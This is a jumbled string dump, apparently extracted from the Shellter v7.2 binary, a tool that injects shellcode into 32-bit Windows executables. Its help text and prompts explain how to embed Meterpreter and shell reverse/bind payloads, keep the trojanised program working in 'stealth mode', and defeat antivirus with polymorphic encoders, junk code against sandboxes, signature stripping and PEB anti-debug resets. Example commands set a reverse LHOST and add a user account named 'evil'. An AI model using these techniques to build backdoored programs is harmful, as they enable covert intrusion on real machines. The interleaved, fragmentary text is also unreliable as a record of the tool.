!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~;EENU;EENU;EENU;EENA;ENLBEENT8>EENGP>EENUh>EENU>EFRB>EFRC>EFRL>EFRS?EDEA ?EDECH?EDELl?EDES?EENI?EITS?ENOR?ENOR?ENON@EPTBH@EESSl@EESB@EESL@EESO@EESC@EESD,AEESFLAEESEtAEESGAEESHAEESMAEESNAEESI BEESA@BEESZdBEESRBEESUBEESYBEESVBESVF CEDESpEENGCEENU CEENUamericanamerican englishamerican-englishaustralianbelgiancanadianchhchichinesechinese-hongkongchinese-simplifiedchinese-singaporechinese-traditionaldutch-belgianenglish-americanenglish-ausenglish-belizeenglish-canenglish-caribbeanenglish-ireenglish-jamaicaenglish-nzenglish-south africaenglish-trinidad y tobagoenglish-ukenglish-usenglish-usafrench-belgianfrench-canadianfrench-luxembourgfrench-swissgerman-austriangerman-lichtensteingerman-luxembourggerman-swissirish-englishitalian-swissnorwegiannorwegian-bokmalnorwegian-nynorskportuguese-brazilianspanish-argentinaspanish-boliviaspanish-chilespanish-colombiaspanish-costa ricaspanish-dominican republicspanish-ecuadorspanish-el salvadorspanish-guatemalaspanish-hondurasspanish-mexicanspanish-modernspanish-nicaraguaspanish-panamaspanish-paraguayspanish-peruspanish-puerto ricospanish-uruguayspanish-venezuelaswedish-finlandswissususa033<?9>033<????DEDoCbad exceptionSunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecgenericunknown erroriostreamiostream stream errorsystemMEM_ERROR_01RMEM_ERROR_05RMEM_ERROR_02RMEM_ERROR_02RMEM_ERROR_04DisASM.dllWFILE_ERROR_01DisASM.dllLIB_ERROR_0_Disasm@4LIB_ERROR_01MEM_ERROR_35MEM_ERROR_39MEM_ERROR_38MEM_ERROR_36MEM_ERROR_37MEM_ERROR_28MEM_ERROR_29MEM_ERROR_30MEM_ERROR_31MEM_ERROR_32MEMFILTER_ERROR_0MEMFILTER_ERROR_01MEM_ERROR_22MEM_ERROR_23MEMFILTER_ERROR_0MEMFILTER_ERROR_01MEM_ERROR_24MEM_ERROR_25MEM_ERROR_09MEM_ERROR_17MEMFILTER_ERROR_02MEMFILTER_ERROR_02MEMFILTER_ERROR_04MEMFILTER_ERROR_03RMEM_ERROR_0GPR_ERROR_01FILE_ERROR_0FILE_ERROR_01MAP_ERROR_0MAP_ERROR_01MAP_ERROR_02PE_ERROR_05PE_ERROR_06PE_ERROR_01PE_ERROR_02PE_ERROR_03PE_ERROR_04PE_ERROR_04PE_ERROR_04PE_ERROR_03FILE_ERROR_04DLL_FUNC_0RFILE_ERROR_01RFILE_ERROR_01MEM_ERROR_08SFP_ERROR_0WFILE_ERROR_02FILE_ERROR_2MEM_ERROR_11RFILE_ERROR_02MEM_ERROR_12MEM_ERROR_13FILE_ERROR_02MEM_ERROR_14MEM_ERROR_15MEM_ERROR_16MEM_ERROR_33FILE_ERROR_06MEM_ERROR_10RFILE_ERROR_0MEM_ERROR_50BAD_DIGSIG_INFOWFILE_ERROR_0PROC_ERROR_0DBG_ERROR_0Shellter_Backups\Shellter failed to initialize.Last_Error_Code: Please Report To Author. || Press [Enter] to continue...SeDebugPrivilege Warning! Shellter is not currently running as Administrator! Some applications might require elevated privileges to start tracing and/or to complete the injection of the payload.-h--help--examples--list-m-a--VersionCheck-v-f-s--Stealth-pmeterpreter_reverse_tcpmeterpreter_reverse_httpmeterpreter_reverse_httpsshell_reverse_tcp--lhost--portmeterpreter_bind_tcpshell_bind_tcp--portwinexec--cmd--enc--polyIAT--encode--DTCK--polyDecoder--handleriatsection--reflective-p--junk--tracemainallArguments missing: -f -p / --handler iat/section Note: Start Shellter using -h for more information on the command line.meterpreter_reverse_tcpmeterpreter_reverse_httpmeterpreter_reverse_httpsmeterpreter_bind_tcpshell_reverse_tcpshell_bind_tcpwinexecDisASM.dllMaybe decrease the number of instructions?Error during LoadAndTrace. Operation Aborted! mins.Tracing Time Approx: Starting First Stage Filtering...IMPORTS_TABLE_ERRORADJUST_PAYLOAD_ERROR_0ADJUST_PAYLOAD_ERROR_0Note: BIND_STEALTH_ERRORYou have marked the payload as a Reflective DLL loader. You will have to mark it as encoded or encode it afterwards with Shellter when you will be asked.Warning!The APIs imported by the PE target do not allow to use any of the availablehandlers for Encoded Payload support!]Shellter will change section's memory access permissions after injection!Fetching IAT Pointers to Memory Manipulation APIs...0. VirtualAlloc --> IAT[0. VirtualAlloc --> N/A]1. VirtualAllocEx --> IAT[1. VirtualAllocEx --> N/A2. VirtualProtect --> Not Allowed in Stealth Mode!]2. VirtualProtect --> IAT[2. VirtualProtect --> N/A3. VirtualProtectEx --> Not Allowed in Stealth Mode!]3. VirtualProtectEx --> IAT[3. VirtualProtectEx --> N/A]]/IAT[4. HeapCreate/HeapAlloc --> IAT[4. HeapCreate/HeapAlloc --> N/A5. LoadLibrary/GetProcAddress --> IAT[]]/IAT[5. LoadLibrary/GetProcAddress --> N/A6. GetModuleHandle/GetProcAddress --> IAT[]]/IAT[6. GetModuleHandle/GetProcAddress --> N/A7. CreateFileMapping/MapViewOfFile --> IAT[]]/IAT[7. CreateFileMapping/MapViewOfFile --> N/AStarting Second Stage Pre-Filtering...No entries were found!Time travel completed!Time travel completed!Decrease the input size and try again...SAVE_REGISTERS_ERRORStarting Second Stage Filtering...Starting third stage filtering...SAVE_REGISTERS_ERRORInvalid value!Valid values: 0 <= value <= Error During Injection: WRITE_CODE_ERRORVirtual Address: 0xFile Offset: 0xSection: Changing Section's Permissions...Adjusting Call Instructions Relative Pointers...Injection Completed!Time travel completed!Time travel completed!Failed to initialize memory!Error during LoadAndTrace. Operation Aborted! mins.Tracing Time Approx: Starting First Stage Filtering...IMPORTS_TABLE_ERRORADJUST_PAYLOAD_ERROR_0ADJUST_PAYLOAD_ERROR_0BIND_STEALTH_ERRORFetching IAT Pointers to Memory Manipulation APIs...]0. VirtualAlloc --> IAT[0. VirtualAlloc --> N/A]1. VirtualAllocEx --> IAT[1. VirtualAllocEx --> N/A2. VirtualProtect --> Not Allowed in Stealth Mode!]2. VirtualProtect --> IAT[2. VirtualProtect --> N/A3. VirtualProtectEx --> Not Allowed in Stealth Mode!]3. VirtualProtectEx --> IAT[3. VirtualProtectEx --> N/A]]/IAT[4. HeapCreate/HeapAlloc --> IAT[4. HeapCreate/HeapAlloc --> N/A5. LoadLibrary/GetProcAddress --> IAT[]]/IAT[5. LoadLibrary/GetProcAddress --> N/A6. GetModuleHandle/GetProcAddress --> IAT[]]/IAT[6. GetModuleHandle/GetProcAddress --> N/A7. CreateFileMapping/MapViewOfFile --> IAT[]]/IAT[7. CreateFileMapping/MapViewOfFile --> N/AMEM_ERROR_20Warning!handlers for Encoded Payload support!Using Method --> The APIs imported by the PE target do not allow to use any of the availableFailed to generate PolyMorphic junk code!Shellter will change section's memory access permissions after injection!SAVE_REGISTERS_ERRORStarting Second Stage Filtering...Starting third stage filtering...SAVE_REGISTERS_ERRORInvalid value!Valid values: 0 <= value <= Error During Injection: WRITE_CODE_ERRORVirtual Address: 0xFile Offset: 0xSection: Changing Section's Permissions...Adjusting Call Instructions Relative Pointers...Injection Completed!Time travel completed!Time travel completed!MEM_ERROR_21kernel32.dllVirtualAllocVirtualAllocExVirtualProtectVirtualProtectExHeapCreateHeapAllocCreateFileMappingACreateFileMappingWMapViewOfFileLoadLibraryALoadLibraryWGetModuleHandleAGetModuleHandleWGetProcAddressMEM_ERROR_26RFILE_ERROR_04SFP_ERROR_01WFILE_ERROR_07SFP_ERROR_02WFILE_ERROR_04SFP_ERROR_03WFILE_ERROR_05FILE_ERROR_08MEM_ERROR_19RFILE_ERROR_03SFP_ERROR_04WFILE_ERROR_03OFFSET_ERROR_0SFP_ERROR_05WFILE_ERROR_06MEM_ERROR_33MEM_ERROR_34SFP_ERROR_06WFILE_ERROR_08SFP_ERROR_07WFILE_ERROR_09SFP_ERROR_08WFILE_ERROR_10SFP_ERROR_09WFILE_ERROR_11SFP_ERROR_10WFILE_ERROR_12SFP_ERROR_11WFILE_ERROR_13C00L_J0k3MEM_ERROR_0MEM_ERROR_0RMEM_ERROR_04WMEM_ERROR_02WMEM_ERROR_03BP_ERROR_0BP_ERROR_01BP_ERROR_01BP_ERROR_01BP_ERROR_01BP_ERROR_02BP_ERROR_0BP_ERROR_01BP_ERROR_01BP_ERROR_01BP_ERROR_01BP_ERROR_02MEM_ERROR_18RMEM_ERROR_03MEM_ERROR_27WMEM_ERROR_01HTHR_ERROR_02RMEM_ERROR_01WMEM_ERROR_0MEM_ERROR_03HTHR_ERROR_0GCTX_ERROR_0SCTX_ERROR_0MEM_ERROR_05MEM_ERROR_04MEM_ERROR_06MEM_ERROR_07GPR_ERROR_0GCTX_ERROR_01HTHR_ERROR_01GCTX_ERROR_02SCTX_ERROR_01TRACE_ERROR_02GCTX_ERROR_03SCTX_ERROR_02TRACE_ERROR_0GCTX_ERROR_04SCTX_ERROR_03TRACE_ERROR_01Shell7er Tracing: % Instructions: % Instructions: Shell7erShell7er Instructions: Time Elapsed: secs Instructions: Time Elapsed: secsShell7erGetCurrentConsoleFontExkernel32.dllSetCurrentConsoleFontExkernel32.dllTerminalShell7er 1010101 01 10 0100110 10 01 11001001 0011101 001001 11 10 01 00 01 01 01 10 11 10 0010011 1110001 11011 11 10 00 10011 011001 11 00 10 01 11 01 11 01 01 11 0010010 11 00 0011010 100111 000111 00 1100011 01 10 v7.2 www.ShellterProject.com Wine ModeLOGO_ERROR*********************** Command Line Usage ***********************Help: -h, --helpAction: Shows the command line help menu.List Payloads: --listAction: Shows a list of the embedded payloads.Verbose Mode: -vAction: Shows Real-Time Tracing.Operation Mode: -a / -mAction: Sets the Operation Mode to use.-a: Auto Mode, -m: Manual Mode. (See Remarks)Note: Manual Mode requires user interaction for all options.Online version check: --VersionCheckAction: Retrieves version information from the official website.PE target: -f Note: Requires internet connection. Not available in Wine mode.Action: Sets the PE target.Stealth Mode: -s / --stealth the infected PE file. are implied as set.Action: Enables Stealth Mode feature. Preserves original functionality ofPayload: -p /Action: Sets the payload. Must be in RAW format.Note: If this feature is enabled then --enc, --encode, and --handler IATMetasploit: generate -t raw.The following payloads can be used directly through Shellter.LHOST: --lhost /Example: -p meterpreter_reverse_tcp --lhost 192.168.30.133 --port 4444Action: Sets the IP address or the Domain Name for the embedded payloads that use reverse connection. payloads, or with custom payloads generated by the user.Port: --port Note: Domain names can be used with the reverse_http and reverse_httpsAction: Sets the port number for the embedded payloads that either use reverse connection, or listen locally for inbound connections.CMD: --cmd Action: Sets the command to execute argument for the embedded windows command execution payload.argument as well.Example: -p winexec --cmd "cmd.exe /c net user evil password /ADD"Enable DLL Reflective Loader support: --reflective Note: Function names are case sensitive.Action: Marks the payload as DLL and sets the reflective loader function.Threads tracing: --trace main / allThis flag automatically enables encoded-payload support because the loaderAction: Handles encoded payloads.might require RW permissions to itself. You will have to set the --handlerAction: Sets the threads to be traced.main: Main Thread, all: All Threads Tracing.Enable encoded-payload support: --enc are completely custom, thus not known to AVs.Note: It is recommended to enable all threads tracing. This is enabled by default when auto mode is used without command line arguments.Note: If you use an encoded payload, this flag is mandatory! However, it is enabled by default when auto mode is used without command line arguments. It is recommended to always use encoded payloads, unless theyAction: Applies an extra encoding layer.Note: You can choose to apply Shellter's encoder by using the --encode arument. It can also be used on top of already encoded payloads.Proprietary Shellter Encoding: --encode / --encode {} line arguments.Note: You will have to set the --handler argument as well. It is enabled by default when using auto mode without commandNote: If you set --encode switch, then --enc is implied as set.Encode using Dynamic Thread Context Key: --DTCKAction: Encodes the payload using dynamic thread context information.Note: This is an experimental feature that logs the content of some for decoding the payload on runtime. CPU registers and then filters all that data in order to keepAction: Obfuscates the decoder generated by Shellter using injection locations where at least one of the logged registers has a value that can be reliably used for encoding and laterAction: Defines how the encoded payload will be handled.Note: If you set this flag, then --encode and --enc are implied as set. In Auto mode, this feature can only be activated by using command line arguments.Proprietary Decoder Obfuscation: --polyDecoder Thread Context Aware Polymorphic code.Note: This only applies if --encode option has been set. It is enabled by default when using auto mode without command line arguments.Encoded Payload Handling Type: --handler iat / sectioniat: Use IAT pointers, section: Give to section RWE permissions. enabled by default.Note: If you use an encoded payload, this flag is mandatory! However, when you use auto mode without command line arguments, this isObfuscate IAT type handler: --polyIATAction: Enables obfuscation of IAT type handlers for encoded payloads using Thread Context Aware Polymorphic code.Note: Contributes towards a much more polymorphic output! It is enabled by default when using auto mode without command line arguments.Generate & Bind PolyMorphic Junk Code: --junkAction: Enables PolyMorphic Junk Code.Note: It is recommended to enable this option in order to produceRemarks: a more complex output. This type of code added also serves command line arguments. be also set. for timing-out some emulators and sandboxes. You might havePerform Online Version Check? (Y/N/H): Enter Y/y or N/n. to wait for a few seconds before the payload gets executed.Info: Checks for the latest version available.Info: Choose between two operation modes.Note: This feature is enabled by default when using automode withouti. When running inside Wine, the compatible Engine is selected automatically.ii. If Manual Mode has been selected, all other options are ignored.iii. If no Operation Mode (-a/-m) has been selected though command line, then Auto Mode applies.Invalid Input! its usage.iv. If '--enc' and/or '--encode' and/or --DTCK are set, then '--handler' mustv. Tracing of all threads is enabled by default when using the Auto Mode. argument to see some command line examples. You can disable it by specifying '--trace main' -Not Recommended-.vi. If Stealth Mode is enabled (-s/--stealth), the injected payload willChoose Operation Mode - Auto/Manual (A/M/H): Invalid Input!Enter A/a or M/m. always be encoded by Shellter and --handler IAT is set by default.vii. Arguments can be passed in any order. If the same argument is used more than once, then only the first occurence is taken in consideration.Press [Enter] to continue...PE Target: Note: Requires internet connection. Not available in Wine mode.Manual: This mode can be more flexible, but requires more interaction by the user.Auto: This mode is fast, effective and easy to use. Great for a quick shot!ii. -p meterpreter_bind_tcp --port 3476Note: Auto Mode also supports command line which allows the user to customise Run Shellter using -h argument to see the help menu, or the --examplesThe -f argument cannot be empty or exceed 260 chars!Some payload options are missing or not set in the correct order!Valid Examples:Incorrent usage of --Reflective argument!i. -p meterpreter_reverse_tcp --lhost 192.128.0.6 --port 4565iii. -p winexec --cmd "cmd.exe /c net user evil password /ADD"Note: reverse_meterpreter_http/https payloads accept domain names as well.' is not valid or it was not used correctly!The argument 'This argument must be preceded by the -p argument that sets the payloadfile name.********************************Incorrent usage of --Reflective argument: parameter missing.* Supported Encoding Operators *Example: -f target.exe -p --reflective ********************************XOR --> xADD --> +SUB --> -NOT --> !Example #1: x!+xNote: When the encoding sequence is defined from the command line, the operators need to be enclosed between '{}'. Example #2: --encode {x!+}Note: In Manual mode you must not include the '{}' characters, just as in the first example shown above. a maximum of 12 operators.Remarks: The number of operators defined, must be between a minimum of 1 and If you just use the --encode switch without defining a custom sequence of encoding operations, Shellter will randomly create and apply an encoding scheme by itself. in Example #2.The defined encoding sequence contains an invalid operator! If you enable stealth mode using --stealh/-s switches, then theof some encoding operators! --encode switch is implied, but if you want to use a custom oneaccepted. then you need to explicitly use the --encode switch as shownThe defined encoding sequence contains an insecure concatenationThe following concatenations are rejected: !!, xx, +-, -+Chained operations that neutralize each other in direct sequence are notYou didn't specify an encoding sequence!Gather Dynamic Thread Context Info? (Y/N/H): Info: Use this feature to create more complex custom PolyMorphic code, orCPU Registers: EAX,EBX,ECX,EDX,EDI,ESIEnter Y/y or N/n. to use a dynamic thread context key for payload encoding/decoding.Invalid Input!Number of Instructions: Invalid Input!Min: 1Max: 50 MillionCheck for SelfModifying Code while Tracing? (Y/N/H): Info: Checks for self-modfying code on runtime.Tip: Use this in order to ensure that code injection will not be affected in advanced scenarios.Tip2: Generally you won't be needing this for injecting code into most applications.Invalid Input!Enter Y/y or N/n.Pause Tracing at SelfModifying Code Detection? (Y/N/H): Info: Choose to temporarily pause tracing at SelfModifying code.Invalid Input!Enter Y/y or N/n.Trace All Threads? (Y/N/H): Info: Trace execution on all threads, or just the main one.Tip: It is recommended to enable all-threads tracing.Invalid Input!Enter Y/y or N/n.Show Real-Time Tracing? (Y/N/H): Info: Displays live tracing.Tip: Printing instructions affects performance.Invalid Input!Enter Y/y or N/n.Use a listed payload or custom? (L/C/H): Info: Decide what type of payload you want to use.Invalid Input!Enter L/l or C/c.***************** windows_exec *****************SET CMD: **************************** meterpreter_reverse_tcp ********************************************************* meterpreter_reverse_http *********************************************************** meterpreter_reverse_https **************************************************** shell_reverse_tcp **********************SET LHOST: ************************* meterpreter_bind_tcp ******************************************** shell_bind_tcp *******************SET LPORT: The specified port number is invalid! Please try again...Select Payload: The -p argument cannot be empty or exceed 260 chars!Enter Reflective Loader Function Name: Is this payload a reflective DLL loader? (Y/N/H): Info: Enables support for DLLs with reflective loading.Invalid Input!Enter Y/y or N/n.Enable Stealth Mode? (Y/N/H): Info: Stealth Mode preserves the original functionality of the infected PE file, so "Stealth" refers to the human factor. If you just need a backdoor don't enable this feature.Invalid Input!Enter Y/y or N/n.Encode Payload with Shellter? (Y/N/H): Info: Shellter will generate and apply its own encoding layer.Invalid Input!Enter Y/y or N/n.Enable User Defined Encoding Sequence? (Y/N/H): Info: Allows user to define the encoding sequence.Invalid Input!Enter Y/y or N/n.Enter Encoding Sequence: Encode Payload using DTCK? (Y/N/H): Info: Dynamic Thread Context Key.Note: Experimental feature. Shellter will make use of gathered dynamic thread context informationEnter Y/y or N/n. as encoding key. This key doesn't have to be hardcoded, and it willInvalid Input!Obfuscate Shellter's Decoder? (Y/N/H): Aware Polymorphic code over the generated decoder. exist at the right moment during the execution of the infected PE file.Info: Applies an extra obfuscation layer by using Thread ContextInvalid Input!Enter Y/y or N/n.Is the Payload Encoded? (Y/N/H): Info: Enable this to use encoded/self-decrypting payloads.Tip: You can enable this feature even if the payload is not encoded or self-decrypting.Invalid Input!Enter Y/y or N/n.Use IAT Handlers or Change Section's Permissions? (I/P/H): IAT Handler: Makes use of one or more imported APIs combined with avalue inside the PE Header.custom code stub in order to allocate executable memory where thethe payload will be executed. PE targets.Change Section's Permissions: Overwrites the memory access permissions ofInvalid Input!Enter I/i or P/p.the section where the injection takes place by modifying the correspondingSelect payload by index: Tip: The first method is more dynamic, but might be not available for someObfuscate IAT Handler? (Y/N/H): The second method doesn't require specific APIs to be imported by the Polymorphic code.Enter Y/n or N/n. PE target, but requires to permanently modify the characteristics of a section.Invalid Input!***************************Tip2: The second method also does not require a custom stub, so it mightChoose one of the available methods: Info: Obfuscates the IAT handler by using Thread Context Aware* IAT Handler Obfuscation * be more stealthy and safe to use in some cases. However, some AVs might raise an alarm if a PE section with RWE access is detected.Valid indexes: 1 - 7Invalid IAT Handler Selected!Please enter a valid choice.Invalid Input!***************************Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.Please wait...Code Generation Time Approx: seconds.Prepend PolyMorphic Code? (Y/N/H): Info: Prepends polymorphic junk code to the selected payload.Invalid Input!Enter Y/n or N/n.Prepend User/Engine PolyMorphic Code (U/E/H): Info: Choose to prepend code generated by the User, or the PolyMorphic Engine.Tip: In order to give it some space for more randomness and junk loops generation to slow down emulation engines, the minimum suggested size is 500 bytes.Invalid Input!Enter U/u or E/e.************************** PolyMorphic Junk Code **************************Type: UserFile: Size: EngineGenerating: bytes of PolyMorphic Junk Code~Please wait...Generated: bytesCode Generation Time Approx: seconds.Use logged x86 GPRs? (Y/N/H): Enter Y/y or N/n.Info: Take advantage of logged dynamic thread context information while you create your custom PolyMorphic code.Invalid Input!Enter Max Size of PolyCode (Size <= PolyCode_File_Size): Invalid Input!Min Input: 20 BytesMax Input: 10000 Bytes to an address in the range of the PE image in memoryShow Only Entries with at least 1 x86 GPR pointing inside PE image? (Y/N/H): Info: Displays filtered traced instructions which when reached on execution at least one of the logged registers pointsTip: Use this to quickly identify dynamic thread context information that is more likely to remain the same on runtime.Invalid Input!Enter Y/y or N/n.Select of VA to Show x86 GPR values: Invalid Input!Valid values: 0 <= value <= Show x86 GPRs? (Y/N): Invalid Input!Enter Y/y or N/n.Select File Containing the PolyMorphic Code: Size of PolyCode (Approx): Invalid Input!Min Input: 20 BytesMax Input: 10000 BytesShow Disassembled Entries? (Y/N/H): Info: This option enables the user to see the disassembled instructions on the available entries to start injection.Enter Y/y or N/n.Tip: You can use this option to search for specific instructions.Invalid Input!Total Entries: Valid Index Values: 0 - Select Start Entry: Select End Entry: Invalid Input!Valid values: 0 <= value <= Ensure that Start <= End and End-Start <= 4000Total Entries: Valid Index Values: 0 - Show more entries? (Y/N): Invalid Input!Enter Y/y or N/n.Total Entries: Valid Index Values: 0 - Select of VA to Start Injection: Invalid Input!Valid values: 0 <= value <= ********************************* PE Compatibility Information *********************************Minimum Supported Windows OS: .Note: It refers to the minimum required Windows version for the target PE header and might be not always accurate. application to run. This information is taken directly from the************************ PE Info Elimination ************************Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.******************* Packed PE Info *******************Status: Note: It is not recommended to use packed executables!Possibly Packed - The EntryPoint is not located in the first section!Possibly Not Packed - The EntryPoint is located in the first section!Status: All related information has been eliminated!Status: Elimination Operation Failed! || Last_Error_Code: Please Report To Author.Failed Writing BeaEngine.dll file! || Last_Error_Code: Please Report To Author.Stealth Mode cannot be used with the selected PE file!Shellter will now disable this feature and proceed...The WinExec command cannot be empty or exceed 1000 chars!Argument --polyIAT requires '--handler IAT' argument to be set.Argument --polyDecoder requires '--encode' argument to be set.Input for LHOST parameter cannot be empty or exceed 1000 chars!The --port argument cannot be empty or exceed 5 chars!DisASM.dll was created successfully!Not a system-defined error. || Please Report To Author. || Last_Error_Code: This error dosen't affect Shellter!You can proceed with the injection process...Shellter couldn't access the selected PE file!Max file path length: 260 chars.Make sure that the file exists and that is not used by another process.Shellter couldn't access the selected file containing the payload and/or the file is empty or too big!Max file path length: 260 chars.Make sure that the file exists and that is not used by another process.Shellter couldn't access the file containing the custom polymorphic code and/or the file is empty or too big!Min File Size: 20 bytesMax file path length: 260 chars.Make sure that the file exists and that is not used by another process.Selected PE file is not a 32-bit executable image!Only 32-bit native applications are currently supported.Selected PE file is not a native 32-bit executable image!Only 32-bit native applications are currently supported.Shellter does not support DLL files because they cannot berun directly!Please select another executable file...PE file appears to be corrupted, or some custom modification inthe header didn't allow Shellter to retrieve important information!Please select another executable file...The number of sections in the PE file appears to be handcrafted!PE file header reports 0 sections!Please select another executable file...The reflective loader function was not found!Function names are case sensitive.Make sure that the submitted DLL is not packed.There was an error while trying to adjust an embedded payload!Try to use a custom one from a file.There was an error while trying to read the Imports Table!There was an error in Stealth Mode feature!PE file size error. File is empty or too big.Shellter was unable to detach from the child process!This is likely to happen if the child process modifies the ACEs in its own ACL.Run Shellter as Administrator and try again.The PE file appears to be digitally signed, but some information regardingthe size of the certificate table is inconsistent.Shellter will proceed without attempting to remove the digital signature.Tracing stopped before reaching the limit set by the user!Last VA: || Last_Error_Code: || Please Report To Author.You can continue using the current tracing results. ><***************** Tracing Mode *****************Status: Note: hosts and for 60 seconds when used in Wine.Tracing has started! Press CTRL+C to interrupt tracing at any time.Tracing has been completed successfully!In Auto Mode, Shellter will trace a random number of instructionsProcess died before tracing has been completed!You can continue using the current tracing results. for a maximum time of approximately 30 seconds in native WindowsInstructions Traced: No instructions traced! Operation aborted...************************** First Stage Filtering ***************************************************** Second Stage Filtering ***************************************************** Third Stage Filtering **************************Filtering Time Approx: mins.filtering.No available locations for shellcode injection were found after 1st stageOperation Aborted!No available locations for shellcode injection were found after last stagefiltering.Restoring 1st stage filtering state...***************** Payload Info *****************Payload: Size: bytesReflective Loader: YESNOEncoded-Payload Handling: EnabledHandler Type: Section characteristics modificationIATDisabledEXCEPTION_ACCESS_VIOLATIONEXCEPTION_ARRAY_BOUNDS_EXCEEDEDEXCEPTION_BREAKPOINTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_FLT_INEXACT_RESULTEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_FLT_OVERFLOWEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_UNDERFLOWEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_IN_PAGE_ERROREXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_INT_OVERFLOWEXCEPTION_INVALID_DISPOSITIONEXCEPTION_NONCONTINUABLE_EXCEPTIONEXCEPTION_PRIVILEGED_INSTRUCTIONEXCEPTION_SINGLE_STEPEXCEPTION_STACK_OVERFLOWUNKNOWN_EXCEPTIONExternal Exception: Exception Code: Address: Passing exception to the exception handler of the application.If no appropriate handler is found,the application will crash.This is the expected behaviour.Tracing will resume in 1 second...SelfModified Code Detected!!!> < > < Original:New Thread Created!ID: 0xStartAddress: 0xThread Environment Block: 0xNote: When All-Threads-Tracing is disabled, or Thread-Context-Logging is injection. is enabled, Shellter will stop tracing once a new thread is created.Thread 0x This is done in order to increase the accuracy of the execution flowEnter Y/y or N/n. filtering stages, and provide more reliable locations for payload has been terminated!Do you want to stop tracing? (Y/N): Invalid Input!Failed Adding Encoded Payload Support Stub! || Last_Error_Code: Please Report To Author.Failed Adjusting Payload Support Stub! || Last_Error_Code: Please Report To Author.Status: Valid PE Checksum has been set!Original Checksum: 0xComputed Checksum: 0xStatus: Failed Setting Valid CheckSum in PE Header! || Last_Error_Code: Please Report To Author.No worries! The rest of the injection process was successful. ;o)Section's Permissions have been set accordingly!Failed to Set Section's Permissions! || Last_Error_Code: Please Report To Author.Shellter will proceed with the rest of the injection process, butLast_Error_Code: you will have to change the section's characteristics yourself.Failed to adjust Call intructions Relative Pointers in PolyCode stub! || Please Report To Author.Done!Failed To Bind PolyMorphic Code with Payload! || Last_Error_Code: Please Report To Author.Failed resetting the following PEB flags:1. PEB.BeingDebugged2. PEB.NtGlobalFlag || Last_Error_Code: Please Report To Author.Shellter will now proceed...The following PEB flags have been reset:1. PEB.BeingDebugged2. PEB.NtGlobalFlag******************* Encoding Stage *******************Encoding Payload: Done!***************************** Assembling Decoder Stage *****************************Assembling Decoder: Failed! || Please report this to the author.Done!************************************ Binding Decoder & Payload Stage ************************************Status: Binding the Decoder with the Payload.Obfuscating the Decoder using Thread Context Aware Polymorphic code, and binding it with the payload.Please wait...Binding: Failed! || Please report this to the author.Done!********************** IAT Handler Stage ****************************************** Injection Stage ******************************* Backup ***********Backup: A backup of the file was not taken!If another backup with the same file name, is already located in the Shellter_Backups directory there is no need to report this issue.binary.Last_Error_Code: If this is an attempt to add another payload to a previously infectedapplication by Shellter, then you can continue working with this file.Otherwise, you should consider taking a copy of the original file fromthe backups directory in order to avoid re-using a previously infectedShellter Pro supports chaining of multiple payloads in a single injection,Please Report To Author.which is a lot more effective than re-infecting the same PE file multipletimes. || Shellter will now proceed...Adjusting stub pointers to IAT...Done!Failed to Adjust Stub Pointers to IAT! || Last_Error_Code: Please Report To Author.Operation Aborted!******************** PE Checksum Fix ********************Verifier failed to initialize! || Last_Error_Code: Please Report To Author.*********************** Verification Stage ***********************Info: Shellter will verify that the first instruction of the injected code will be reached successfully. If polymorphic code has been added, then the first instruction refers to that and not to the effective payload. Max waiting time: 10 seconds. Warning! If the PE target spawns a child process of itself before reaching the injection point, then the injected code will be executed in that process. In that case Shellter won't have any control over it during this test. You know what you are doing, right? ;o)Injection: Verified!Not verified!Note: This is normal if the application requires user interactionin order to reach the injection point.RET_CODE: Something went wrong during the verification stage. || Last_Error_Code: Please Report To Author.RET_CODE: ************* Payloads *************[1] Meterpreter_Reverse_TCP [stager][2] Meterpreter_Reverse_HTTP [stager][3] Meterpreter_Reverse_HTTPS [stager][4] Meterpreter_Bind_TCP [stager][5] Shell_Reverse_TCP [stager][6] Shell_Bind_TCP [stager][7] WinExecEAX: h <---EAX: hEBX: h <---EBX: hECX: h <---ECX: hEDX: h <---EDX: hESI: h <---ESI: hEDI: h <---EDI: hThe port specified through command line was invalid!************* Examples *************Failed to initialize Winsock.Last_Error_Code: #1: Use an *already* encoded custom payload + IAT handler obfuscation + Junk Code.Please Report To Author.Command line: shellter -f target.exe -p payload.bin --enc --handler IAT --polyIAT --JunkThe specified IPv4 address is invalid! Please try again...#2 Encode a custom payload + obfuscated IAT handler + obfuscated decoder.7.2Command line: shellter -f target.exe -p payload.bin --encode --handler IAT --polyIAT --polyDecoderShellter#3: Encode a custom payload + stealth mode + obfuscated decoder + obfuscated IAT handler.There is a newer version available!Command line: shellter -f target.exe -p payload.bin --stealth --polyDecoder --polyIAT#4: Encode a custom payload with user defined encoding sequence + stealth mode + obfuscated decoder + obfuscated IAT handler + junk.Command line: shellter -f target.exe -p payload.bin --stealth --encode {+x!-} --polyDecoder --polyIAT --junk#5: Encode an embedded payload + stealth mode + obfuscated decoder + obfuscated IAT handler.Command line: shellter -f target.exe -p meterpreter_reverse_tcp --lhost 192.168.0.6 --port 4444 --stealth --polyDecoder --polyIATCurrent version: #6: Use a reflective DLL as payload + encode it + obfuscated IAT handler + obfuscated decoder.Command line: shellter -f target.exe -p payload.bin --reflective MyFunctionName --encode --handler iat --polyIAT --polyDecoder#7: Encode an embedded payload using DTCK + obfuscated IAT handler + stealth mode.Latest version: Command line: shellter -f target.exe -p meterpreter_reverse_tcp --lhost 192.168.0.6 --port 4444 --DTCK --polyIAT --stealthVisit www.ShellterProject.com for more information.#8: Use the WinExec embedded payload + stealth mode + obfuscated IAT handler + obfuscated decoder + junk.__wineboot_eventCommand line: shellter -f target.exe -p winexec --cmd "cmd.exe /c net user evil password /ADD" --stealth --polyIAT --polydecoder --junkMeterpreter_Reverse_HTTP/HTTPS payloads treat IPs/Domain names the same way.Input for LHOST parameter cannot be empty or exceed 1000 chars. || Example: 192.168.0.6To use a domain name, choose one of the met_rev_http/https payloads.Getting latest version information from the official 